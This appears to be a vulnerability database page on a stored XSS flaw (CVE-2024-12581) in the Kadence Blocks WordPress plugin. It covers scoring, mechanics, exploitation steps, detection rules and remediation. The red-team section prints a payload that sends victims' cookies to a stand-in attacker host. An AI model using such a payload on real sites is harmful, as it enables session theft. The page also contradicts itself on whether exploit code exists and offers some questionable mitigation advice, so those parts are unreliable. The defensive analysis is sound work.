CVE-2024-12581
Executive Summary
CVE-2024-12581 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kadence Blocks – Gutenberg Blocks for Page Builder Features WordPress plugin, affecting all versions up to and including 3.2.53. The flaw resides in insufficient input sanitization and output escaping within admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or installations where unfiltered_html has been disabled. The CVSS score is 4.4 (Medium), with a low EPSS probability of 0.0%. No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. The plugin is not an NPM, PyPI, Go, or Ruby package, so no additional supply chain risks apply.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must visit the injected page
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires high privileges and user interaction, but successful attacks can lead to persistent script injection affecting other users.
Deep Dive & Mechanics
The vulnerability exists in the admin settings of the Kadence Blocks plugin. The plugin fails to properly sanitize user input and escape output when processing certain configuration options. An authenticated administrator can inject malicious JavaScript code into these settings. When other users (including lower-privileged users) access pages that render these settings, the injected script executes in their browser context.
Root Cause: Insufficient input sanitization and output escaping in admin settings handling.
Attack Scenario:
- An attacker with admin credentials on a WordPress multi-site installation (or a site with
unfiltered_htmldisabled) navigates to the Kadence Blocks settings page. - The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable setting field. - The payload is stored in the database without proper sanitization.
- When any user (including non-admin users) visits a page that renders this setting, the script executes.
Impact: The attacker can steal session cookies, redirect users to malicious sites, deface pages, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.2.53):
// Example of vulnerable output without escaping
echo $kadence_blocks_settings['custom_css'];
Patched Code (Hypothetical):
// Properly escaped output
echo esc_html( $kadence_blocks_settings['custom_css'] );
The patched version would use WordPress escaping functions like esc_html(), esc_attr(), or wp_kses() to neutralize malicious input.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress multi-site installation or
unfiltered_htmldisabled. - Admin-level credentials.
- Kadence Blocks plugin version <= 3.2.53.
Steps:
- Log in as an administrator.
- Navigate to Settings > Kadence Blocks.
- Locate a vulnerable input field (e.g., custom CSS or JavaScript settings).
- Inject a payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- Wait for a victim to access any page that renders the injected content.
Proof-of-Concept (No public exploit available):
<!-- Stored XSS payload -->
<script>alert('XSS')</script>
Blue Team (Detection & Response)
Detection:
- Monitor admin settings changes for suspicious patterns.
- Review web server logs for unusual script execution.
- Use WAF rules to block common XSS payloads.
Response:
- Identify and remove malicious settings entries.
- Reset compromised admin credentials.
- Apply the plugin update when available.
- Scan for additional indicators of compromise.
Indicators of Compromise (IOCs)
- File Hashes: (None available)
- Network Indicators:
- Outbound connections to attacker-controlled domains.
- HTTP requests containing
<script>tags in admin settings endpoints.
- Log Entries:
POST /wp-admin/admin-ajax.php?action=kadence_blocks_settingswith suspicious payloads.GET /wp-admin/options-general.php?page=kadence_blocksfollowed by unusual parameter values.
- Database Indicators:
wp_optionstable entries containingkadence_blocks_settingswith embedded JavaScript.
Detection Engineering
YARA Rule
rule detect_kadence_blocks_xss {
meta:
description = "Detects stored XSS payloads in Kadence Blocks settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12581"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$kadence_option = "kadence_blocks_settings"
condition:
$kadence_option and #xss_payload > 0
}
Sigma Rule
title: Kadence Blocks Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-12581 via admin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=kadence_blocks_settings'
cs-uri-query|contains: '<script'
condition: selection
falsepositives:
- Legitimate admin use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12581 Kadence Blocks Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=kadence_blocks_settings"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential, especially on multi-site installations.
- Restrict admin access to trusted users only.
- Enable
unfiltered_htmlfor trusted administrators (note: this reduces security). - Implement a Web Application Firewall (WAF) to block XSS payloads.
Long-Term Fix:
- Apply the official patch when released by Kadence WP.
- Update to a patched version (currently unknown).
- Conduct a security audit of all admin settings inputs.
Workaround:
- Use a security plugin like Wordfence to add virtual patching.
- Manually sanitize and escape all admin settings in custom code.
Valters IT – Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.